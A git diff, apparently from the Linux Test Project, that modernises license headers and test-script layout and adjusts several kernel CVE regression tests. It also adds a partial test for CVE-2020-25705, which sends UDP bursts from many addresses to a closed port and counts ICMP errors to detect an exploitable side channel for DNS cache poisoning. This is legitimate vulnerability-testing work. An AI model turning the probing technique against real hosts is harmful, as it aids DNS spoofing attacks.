-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2015 Fujitsu Ltd.
+# Author:Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/commands/mkfs/mkfs01.sh b/testcases/commands/mkfs/mkfs01.sh
index 17c7fb9..263aa47 100755
--- a/testcases/commands/mkfs/mkfs01.sh
+++ b/testcases/commands/mkfs/mkfs01.sh
@@ -14,7 +14,6 @@
 TST_NEEDS_ROOT=1
 TST_NEEDS_DEVICE=1
 TST_NEEDS_CMDS="blkid df"
-. tst_test.sh
 
 usage()
 {
@@ -36,16 +35,14 @@
 setup()
 {
 	if [ -n "$TST_FS_TYPE" ]; then
-		tst_require_cmds mkfs.${TST_FS_TYPE}
+		tst_require_cmds mkfs.$TST_FS_TYPE
 	fi
-
-	ROD_SILENT mkdir -p mntpoint
 }
 
 mkfs_verify_type()
 {
 	if [ -z "$1" ]; then
-		blkid $2 -t TYPE="ext2" >/dev/null
+		blkid $2 -t TYPE="$TST_FS_TYPE" >/dev/null
 	else
 		if [ "$1" = "msdos" ]; then
 			blkid $2 -t TYPE="vfat" >/dev/null
@@ -58,7 +55,7 @@
 mkfs_verify_size()
 {
 	tst_mount
-	local blocknum=`df -P -B 1k mntpoint | tail -n1 | awk '{print $2}'`
+	local blocknum=`df -P -B 1k $TST_MNTPOINT | tail -n1 | awk '{print $2}'`
 	tst_umount
 
 	if [ $blocknum -gt "$2" ]; then
@@ -102,7 +99,7 @@
 
 	local mkfs_cmd="mkfs $mkfs_op $fs_op $device $size"
 
-	echo ${fs_op} | grep -q "\-c"
+	echo $fs_op | grep -q "\-c"
 	if [ $? -eq 0 ] && [ "$fs_type" = "ntfs" ]; then
 		tst_res TCONF "'$mkfs_cmd' not supported."
 		return
@@ -115,7 +112,7 @@
 		fi
 	fi
 
-	${mkfs_cmd} >temp 2>&1
+	$mkfs_cmd >temp 2>&1
 	if [ $? -ne 0 ]; then
 		grep -q -E "unknown option | invalid option" temp
 		if [ $? -eq 0 ]; then
@@ -174,4 +171,5 @@
 	mkfs_test "-h"
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/commands/mkswap/Makefile b/testcases/commands/mkswap/Makefile
index 5c8bd9b..8880532 100644
--- a/testcases/commands/mkswap/Makefile
+++ b/testcases/commands/mkswap/Makefile
@@ -1,17 +1,6 @@
-#
-#    Copyright (c) 2015 Fujitsu Ltd.
-#    Author:Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2015 Fujitsu Ltd.
+# Author:Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/commands/mkswap/mkswap01.sh b/testcases/commands/mkswap/mkswap01.sh
index f6494f6..fe16958 100755
--- a/testcases/commands/mkswap/mkswap01.sh
+++ b/testcases/commands/mkswap/mkswap01.sh
@@ -11,7 +11,6 @@
 TST_NEEDS_ROOT=1
 TST_NEEDS_DEVICE=1
 TST_NEEDS_CMDS="uuidgen blkid blockdev mkswap"
-. tst_test.sh
 
 setup()
 {
@@ -129,6 +128,7 @@
 	fi
 
 	udevadm trigger --name-match=$TST_DEVICE
+	udevadm settle --exit-if-exists==$TST_DEVICE
 
 	if [ -n "$device" ]; then
 		mkswap_verify "$mkswap_op" "$op_arg" "$device" "$size" "$dev_file"
@@ -157,4 +157,5 @@
 	esac
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/commands/mv/Makefile b/testcases/commands/mv/Makefile
index ca594a5..62342e6 100644
--- a/testcases/commands/mv/Makefile
+++ b/testcases/commands/mv/Makefile
@@ -1,24 +1,6 @@
-#
-#    commands/fileutils/mv testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/commands/mv/mv_tests.sh b/testcases/commands/mv/mv_tests.sh
index 253b273..91648dd 100755
--- a/testcases/commands/mv/mv_tests.sh
+++ b/testcases/commands/mv/mv_tests.sh
@@ -13,7 +13,6 @@
 TST_SETUP=setup
 TST_TESTFUNC=test
 TST_NEEDS_TMPDIR=1
-. tst_test.sh
 
 setup()
 {
@@ -149,4 +148,5 @@
 	fi
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/commands/nm/Makefile b/testcases/commands/nm/Makefile
index 4efb4b5..4d1e76a 100644
--- a/testcases/commands/nm/Makefile
+++ b/testcases/commands/nm/Makefile
@@ -1,24 +1,6 @@
-#
-#    commands/ade/nm testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/commands/nm/nm01.sh b/testcases/commands/nm/nm01.sh
index 873126d..c795d47 100755
--- a/testcases/commands/nm/nm01.sh
+++ b/testcases/commands/nm/nm01.sh
@@ -13,7 +13,6 @@
 TST_SETUP=setup
 TST_NEEDS_TMPDIR=1
 TST_NEEDS_CMDS="$NM"
-. tst_test.sh
 
 setup()
 {
@@ -121,4 +120,5 @@
 	fi
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/commands/shell/shell_pipe01.sh b/testcases/commands/shell/shell_pipe01.sh
index 3c8ef49..f384aa8 100755
--- a/testcases/commands/shell/shell_pipe01.sh
+++ b/testcases/commands/shell/shell_pipe01.sh
@@ -4,8 +4,6 @@
 
 TST_TESTFUNC=do_test
 
-. tst_test.sh
-
 do_test()
 {
 	tst_res TINFO "expecting SUCCESS string passed from stdin"
@@ -14,4 +12,5 @@
 	EXPECT_PASS [ "$line" = "SUCCESS" ]
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/commands/sysctl/Makefile b/testcases/commands/sysctl/Makefile
index 61ff705..a47e17e 100644
--- a/testcases/commands/sysctl/Makefile
+++ b/testcases/commands/sysctl/Makefile
@@ -1,20 +1,6 @@
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
 # Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License along
-# with this program; if not, see <http://www.gnu.org/licenses/>.
-#
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/commands/sysctl/sysctl01.sh b/testcases/commands/sysctl/sysctl01.sh
index d885cb1..d58688e 100755
--- a/testcases/commands/sysctl/sysctl01.sh
+++ b/testcases/commands/sysctl/sysctl01.sh
@@ -13,8 +13,6 @@
 TST_NEEDS_ROOT=1
 TST_NEEDS_CMDS="sysctl"
 
-. tst_test.sh
-
 sysctl_test()
 {
 	# With commit d00535d, sched_time_avg was renamed as sched_time_avg_ms
@@ -38,4 +36,5 @@
 	fi
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/commands/sysctl/sysctl02.sh b/testcases/commands/sysctl/sysctl02.sh
index 3964a98..806dd1f 100755
--- a/testcases/commands/sysctl/sysctl02.sh
+++ b/testcases/commands/sysctl/sysctl02.sh
@@ -20,15 +20,13 @@
 TST_CNT=4
 TST_NEEDS_ROOT=1
 TST_NEEDS_CMDS="sysctl"
+TST_NEEDS_KCONFIGS="CONFIG_SYSCTL=y, CONFIG_PROC_FS=y"
+
 sys_name="fs.file-max"
 sys_file="/proc/sys/fs/file-max"
-syms_file="/proc/kallsyms"
-
-. tst_test.sh
 
 setup()
 {
-	[ ! -f "$sys_file" ] && tst_brk TCONF "$sys_file not enabled"
 	orig_value=$(cat "$sys_file")
 }
 
@@ -61,17 +59,15 @@
 
 sysctl_test_zero()
 {
-	[ ! -f "$syms_file" ] && tst_brk TCONF "$syms_file not enabled"
+	tst_check_kconfigs "CONFIG_KALLSYMS=y,CONFIG_KALLSYMS_ALL=y,CONFIG_KASAN=y" \
+		|| tst_brk TCONF "kconfig doesn't meet test's requirement!"
+
 	ROD sysctl -w -q $sys_name=0
 
-	if grep -q kasan_report $syms_file; then
-		if dmesg | grep -q "KASAN: global-out-of-bounds in __do_proc_doulongvec_minmax"; then
-			tst_res TFAIL "$sys_file is set 0 and trigger a KASAN error"
-		else
-			tst_res TPASS "$sys_file is set 0 and doesn't trigger a KASAN error"
-		fi
+	if dmesg | grep -q "KASAN: global-out-of-bounds in __do_proc_doulongvec_minmax"; then
+		tst_res TFAIL "$sys_file is set 0 and trigger a KASAN error"
 	else
-		tst_res TCONF "kernel doesn't support KASAN"
+		tst_res TPASS "$sys_file is set 0 and doesn't trigger a KASAN error"
 	fi
 }
 
@@ -80,4 +76,5 @@
 	[ -n "$orig_value" ] && sysctl -w -q $sys_name=$orig_value
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/commands/tar/Makefile b/testcases/commands/tar/Makefile
index 7406b1f..ff06c27 100644
--- a/testcases/commands/tar/Makefile
+++ b/testcases/commands/tar/Makefile
@@ -1,24 +1,6 @@
-#
-#    commands/tar testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/commands/tar/tar_tests.sh b/testcases/commands/tar/tar_tests.sh
index f90ff21..6052018 100755
--- a/testcases/commands/tar/tar_tests.sh
+++ b/testcases/commands/tar/tar_tests.sh
@@ -11,8 +11,6 @@
 TST_NEEDS_TMPDIR=1
 TST_NEEDS_CMDS="gzip bzip2"
 
-. tst_test.sh
-
 TAR_FILES="file1 file2 file3"
 
 check_listing()
@@ -133,4 +131,5 @@
 	esac
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/commands/unshare/Makefile b/testcases/commands/unshare/Makefile
index a175291..fac183d 100644
--- a/testcases/commands/unshare/Makefile
+++ b/testcases/commands/unshare/Makefile
@@ -1,17 +1,6 @@
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2017 FUJITSU LIMITED. All rights reserved.
 # Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/commands/unshare/unshare01.sh b/testcases/commands/unshare/unshare01.sh
index bf163a7..5c67d0e 100755
--- a/testcases/commands/unshare/unshare01.sh
+++ b/testcases/commands/unshare/unshare01.sh
@@ -33,7 +33,6 @@
 TST_NEEDS_ROOT=1
 TST_NEEDS_TMPDIR=1
 TST_NEEDS_CMDS="unshare id mount umount"
-. tst_test.sh
 
 max_userns_path="/proc/sys/user/max_user_namespaces"
 max_mntns_path="/proc/sys/user/max_mnt_namespaces"
@@ -157,4 +156,5 @@
 	esac
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/commands/unzip/Makefile b/testcases/commands/unzip/Makefile
index 72ac803..03e126d 100644
--- a/testcases/commands/unzip/Makefile
+++ b/testcases/commands/unzip/Makefile
@@ -1,24 +1,6 @@
-#
-#    commands/unzip testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/commands/unzip/unzip01.sh b/testcases/commands/unzip/unzip01.sh
index c3bb757..2408942 100755
--- a/testcases/commands/unzip/unzip01.sh
+++ b/testcases/commands/unzip/unzip01.sh
@@ -10,7 +10,6 @@
 TST_TESTFUNC=do_test
 TST_NEEDS_TMPDIR=1
 TST_NEEDS_CMDS="unzip"
-. tst_test.sh
 
 EXTRACT_MATCH="extracting"
 
@@ -83,4 +82,5 @@
 	ROD rm -rf "dir/"
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/commands/vmcp/vmcp_m.sh b/testcases/commands/vmcp/vmcp_m.sh
index 5dc7bf0..3924a6e 100644
--- a/testcases/commands/vmcp/vmcp_m.sh
+++ b/testcases/commands/vmcp/vmcp_m.sh
@@ -14,7 +14,6 @@
 TST_CNT=2
 TST_TESTFUNC=vmcp_main
 TST_NEEDS_CMDS="vmcp"
-. tst_test.sh
 
 vmcp_run()
 {
@@ -45,5 +44,5 @@
         vmcp_run 1 "vmcp dasddasddasd"
 }
 
-
+. tst_test.sh
 tst_run
diff --git a/testcases/commands/wc/Makefile b/testcases/commands/wc/Makefile
index 6571074..33aeb85 100644
--- a/testcases/commands/wc/Makefile
+++ b/testcases/commands/wc/Makefile
@@ -1,17 +1,6 @@
-#
-#    Copyright (c) 2016 Fujitsu Ltd.
-#    Author:Xiao Yang <yangx.jy@cn.fujitsu.com>
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2016 Fujitsu Ltd.
+# Author:Xiao Yang <yangx.jy@cn.fujitsu.com>
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/commands/wc/wc01.sh b/testcases/commands/wc/wc01.sh
index ee12e2b..b37cb47 100755
--- a/testcases/commands/wc/wc01.sh
+++ b/testcases/commands/wc/wc01.sh
@@ -10,7 +10,6 @@
 TST_TESTFUNC=do_test
 TST_NEEDS_TMPDIR=1
 TST_NEEDS_CMDS="wc"
-. tst_test.sh
 
 setup()
 {
@@ -67,4 +66,5 @@
 	esac
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/commands/which/Makefile b/testcases/commands/which/Makefile
index d9b4d12..1be02f7 100644
--- a/testcases/commands/which/Makefile
+++ b/testcases/commands/which/Makefile
@@ -1,17 +1,6 @@
-#
-#    Copyright (c) 2015 Fujitsu Ltd.
-#    Author:Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2015 Fujitsu Ltd.
+# Author:Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/commands/which/which01.sh b/testcases/commands/which/which01.sh
index dd6659e..6b1dfad 100755
--- a/testcases/commands/which/which01.sh
+++ b/testcases/commands/which/which01.sh
@@ -10,7 +10,6 @@
 TST_TESTFUNC=do_test
 TST_NEEDS_TMPDIR=1
 TST_NEEDS_CMDS="which"
-. tst_test.sh
 
 setup()
 {
@@ -104,4 +103,5 @@
 	esac
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index 01a3e4c..eb0a8b3 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -10,3 +10,4 @@
 cve-2017-17052
 cve-2017-16939
 cve-2017-17053
+icmp_rate_limit01
diff --git a/testcases/cve/Makefile b/testcases/cve/Makefile
index 63b1d75..c530879 100644
--- a/testcases/cve/Makefile
+++ b/testcases/cve/Makefile
@@ -1,17 +1,5 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2017 Linux Test Project
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
 
 top_srcdir		?= ../..
 
@@ -23,28 +11,17 @@
 
 cve-2016-7042:	LDLIBS += $(KEYUTILS_LIBS)
 
-cve-2016-7117:	CFLAGS += -pthread
-cve-2016-7117:	LDLIBS += -lrt
-
-cve-2014-0196:  CFLAGS += -pthread
-cve-2014-0196:  LDLIBS += -lrt
+cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053:  CFLAGS += -pthread
+cve-2014-0196 cve-2016-7117 cve-2017-2671:  LDLIBS += -lrt
 
 ifneq ($(ANDROID),1)
 cve-2014-0196:  LDLIBS += -lutil
 endif
 
-cve-2017-2671:	CFLAGS += -pthread
-cve-2017-2671:	LDLIBS += -lrt
-
-meltdown: CFLAGS += -I$(abs_srcdir)/../realtime/include
-
 ifneq (,$(filter $(HOST_CPU),x86 x86_64))
 meltdown: CFLAGS += -msse2
 endif
 
-cve-2017-17052:	CFLAGS += -pthread
-cve-2017-17053:	CFLAGS += -pthread
-
 cve-2015-3290:	CFLAGS += -pthread -fomit-frame-pointer
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/cve/cve-2014-0196.c b/testcases/cve/cve-2014-0196.c
index 012cbb7..1937d56 100644
--- a/testcases/cve/cve-2014-0196.c
+++ b/testcases/cve/cve-2014-0196.c
@@ -141,6 +141,7 @@
 	.setup = setup,
 	.cleanup = cleanup,
 	.test_all = run,
+	.max_runtime = 60,
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "4291086b1f08"},
 		{"CVE", "2014-0196"},
diff --git a/testcases/cve/cve-2015-3290.c b/testcases/cve/cve-2015-3290.c
index 6c4fd57..f61d280 100644
--- a/testcases/cve/cve-2015-3290.c
+++ b/testcases/cve/cve-2015-3290.c
@@ -1,6 +1,7 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2017 Pavel Boldin <pboldin@cloudlinux.com>
+ * Copyright (c) 2018-2022 Linux Test Project
  */
 
 /*
@@ -117,7 +118,7 @@
 #include "tst_test.h"
 #include "tst_timer.h"
 
-#if HAVE_PERF_EVENT_ATTR && (defined(__x86_64__) || defined(__i386__))
+#if defined(__x86_64__) || defined(__i386__)
 
 #include <stdlib.h>
 #include <stdio.h>
@@ -394,10 +395,6 @@
 	return (void *)niter;
 }
 
-#define TIMEOUT		(180)
-#define TIME_TO_GIVEUP	(TIMEOUT - 5)
-#define TIMER_TYPE	CLOCK_MONOTONIC
-
 static void do_child(void)
 {
 	int i, ncpus;
@@ -414,7 +411,7 @@
 	for (i = 0; i < ncpus; i++)
 		SAFE_PTHREAD_CREATE(&threads[i], NULL, child_thread, NULL);
 
-	sleep(TIME_TO_GIVEUP);
+	sleep(tst_remaining_runtime());
 	running = 0;
 
 	for (i = 0; i < ncpus; i++) {
@@ -467,7 +464,7 @@
 	.needs_root = 1,
 	.needs_checkpoints = 1,
 	.setup = setup,
-	.timeout = TIMEOUT,
+	.max_runtime = 180,
 	.test_all = run,
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "9b6e6a8334d5"},
@@ -476,8 +473,8 @@
 	}
 };
 
-#else /* HAVE_PERF_EVENT_ATTR && (defined(__x86_64__) || defined(__i386__)) */
+#else /* defined(__x86_64__) || defined(__i386__) */
 
-TST_TEST_TCONF("no perf_event_attr or not (i386 or x86_64)");
+TST_TEST_TCONF("not (i386 or x86_64)");
 
 #endif
diff --git a/testcases/cve/cve-2016-10044.c b/testcases/cve/cve-2016-10044.c
index 7519676..b0a329d 100644
--- a/testcases/cve/cve-2016-10044.c
+++ b/testcases/cve/cve-2016-10044.c
@@ -14,10 +14,10 @@
 #include <stdio.h>
 #include <stdint.h>
 #include <string.h>
-#include "lapi/syscalls.h"
 #include "lapi/personality.h"
 #include "tst_test.h"
 #include "tst_safe_stdio.h"
+#include "lapi/syscalls.h"
 
 static FILE *f;
 
diff --git a/testcases/cve/cve-2016-7117.c b/testcases/cve/cve-2016-7117.c
index dca0029..64bf0a8 100644
--- a/testcases/cve/cve-2016-7117.c
+++ b/testcases/cve/cve-2016-7117.c
@@ -150,6 +150,7 @@
 	.setup = setup,
 	.cleanup = cleanup,
 	.min_kver = "2.6.33",
+	.max_runtime = 60,
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "a2e2725541fa"},
 		{"CVE", "2016-7117"},
diff --git a/testcases/cve/cve-2017-2671.c b/testcases/cve/cve-2017-2671.c
index e72795d..9092481 100644
--- a/testcases/cve/cve-2017-2671.c
+++ b/testcases/cve/cve-2017-2671.c
@@ -109,6 +109,7 @@
 	.test_all = run,
 	.cleanup = cleanup,
 	.needs_root = 1,
+	.max_runtime = 40,
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "43a6684519ab"},
 		{"CVE", "2017-2671"},
diff --git a/testcases/cve/icmp_rate_limit01.c b/testcases/cve/icmp_rate_limit01.c
new file mode 100644
index 0000000..1263762
--- /dev/null
+++ b/testcases/cve/icmp_rate_limit01.c
@@ -0,0 +1,280 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2020 SUSE LLC
+ * Author: Nicolai Stange <nstange@suse.de>
+ * LTP port: Martin Doucha <mdoucha@suse.cz>
+ */
+
+/*\
+ * CVE-2020-25705
+ *
+ * Test of ICMP rate limiting behavior that may be abused for DNS cache
+ * poisoning attack. Send a few batches of 100 packets to a closed UDP port
+ * and count the ICMP errors. If the number of errors is always the same
+ * for each batch (not randomized), the system is vulnerable. Send packets
+ * from multiple IP addresses to bypass per-address ICMP throttling.
+ *
+ * Fixed in:
+ *
+ *  commit b38e7819cae946e2edf869e604af1e65a5d241c5
+ *  Author: Eric Dumazet <edumazet@google.com>
+ *  Date:   Thu Oct 15 11:42:00 2020 -0700
+ *
+ *  icmp: randomize the global rate limiter
+ */
+
+#include <time.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <linux/errqueue.h>
+
+#include <sched.h>
+#include <limits.h>
+
+#include "lapi/if_addr.h"
+#include "tst_test.h"
+#include "tst_netdevice.h"
+
+#define DSTNET 0xfa444e00 /* 250.68.78.0 */
+#define SRCNET 0xfa444e40 /* 250.68.78.64 */
+#define DSTADDR 0xfa444e02 /* 250.68.78.2 */
+#define SRCADDR_BASE 0xfa444e41 /* 250.68.78.65 */
+#define SRCADDR_COUNT 50
+#define NETMASK 26
+#define BATCH_COUNT 8
+#define BUFSIZE 1024
+
+static int parentns = -1, childns = -1;
+static int fds[SRCADDR_COUNT];
+
+static void setup(void)
+{
+	struct sockaddr_in ipaddr = { .sin_family = AF_INET };
+	uint32_t addr;
+	int i;
+	int real_uid = getuid();
+	int real_gid = getgid();
+
+	for (i = 0; i < SRCADDR_COUNT; i++)
+		fds[i] = -1;
+
+	SAFE_TRY_FILE_PRINTF("/proc/sys/user/max_user_namespaces", "%d", 10);
+
+	SAFE_UNSHARE(CLONE_NEWUSER);
+	SAFE_UNSHARE(CLONE_NEWNET);
+	SAFE_FILE_PRINTF("/proc/self/setgroups", "deny");
+	SAFE_FILE_PRINTF("/proc/self/uid_map", "0 %d 1\n", real_uid);
+	SAFE_FILE_PRINTF("/proc/self/gid_map", "0 %d 1\n", real_gid);
+
+	/*
+	 * Create network namespace to hide the destination interface from
+	 * the test process.
+	 */
+	parentns = SAFE_OPEN("/proc/self/ns/net", O_RDONLY);
+	SAFE_UNSHARE(CLONE_NEWNET);
+
+	/* Do NOT close this FD, or both interfaces will be destroyed */
+	childns = SAFE_OPEN("/proc/self/ns/net", O_RDONLY);
+
+	/* Configure child namespace */
+	CREATE_VETH_PAIR("ltp_veth1", "ltp_veth2");
+	NETDEV_ADD_ADDRESS_INET("ltp_veth2", htonl(DSTADDR), NETMASK,
+		IFA_F_NOPREFIXROUTE);
+	NETDEV_SET_STATE("ltp_veth2", 1);
+	NETDEV_ADD_ROUTE_INET("ltp_veth2", 0, 0, htonl(SRCNET), NETMASK, 0);
+
+	/* Configure parent namespace */
+	NETDEV_CHANGE_NS_FD("ltp_veth1", parentns);
+	SAFE_SETNS(parentns, CLONE_NEWNET);
+	addr = SRCADDR_BASE;
+
+	for (i = 0; i < SRCADDR_COUNT; i++, addr++) {
+		NETDEV_ADD_ADDRESS_INET("ltp_veth1", htonl(addr), NETMASK,
+			IFA_F_NOPREFIXROUTE);
+	}
+
+	NETDEV_SET_STATE("ltp_veth1", 1);
+	NETDEV_ADD_ROUTE_INET("ltp_veth1", 0, 0, htonl(DSTNET), NETMASK, 0);
+	SAFE_FILE_PRINTF("/proc/sys/net/ipv4/conf/ltp_veth1/forwarding", "1");
+
+	/* Open test sockets */
+	for (i = 0; i < SRCADDR_COUNT; i++) {
+		ipaddr.sin_addr.s_addr = htonl(SRCADDR_BASE + i);
+		fds[i] = SAFE_SOCKET(AF_INET, SOCK_DGRAM, 0);
+		SAFE_SETSOCKOPT_INT(fds[i], IPPROTO_IP, IP_RECVERR, 1);
+		SAFE_BIND(fds[i], (struct sockaddr *)&ipaddr, sizeof(ipaddr));
+	}
+}
+
+static int count_icmp_errors(int fd)
+{
+	int error_count = 0;
+	ssize_t len;
+	char msgbuf[BUFSIZE], errbuf[BUFSIZE];
+	struct sockaddr_in addr;
+	struct cmsghdr *cmsg;
+	struct sock_extended_err exterr;
+	struct iovec iov = {
+		.iov_base = msgbuf,
+		.iov_len = BUFSIZE
+	};
+
+	while (1) {
+		struct msghdr msg = {
+			.msg_name = (struct sockaddr *)&addr,
+			.msg_namelen = sizeof(addr),
+			.msg_iov = &iov,
+			.msg_iovlen = 1,
+			.msg_flags = 0,
+			.msg_control = errbuf,
+			.msg_controllen = BUFSIZE
+		};
+
+		memset(errbuf, 0, BUFSIZE);
+		errno = 0;
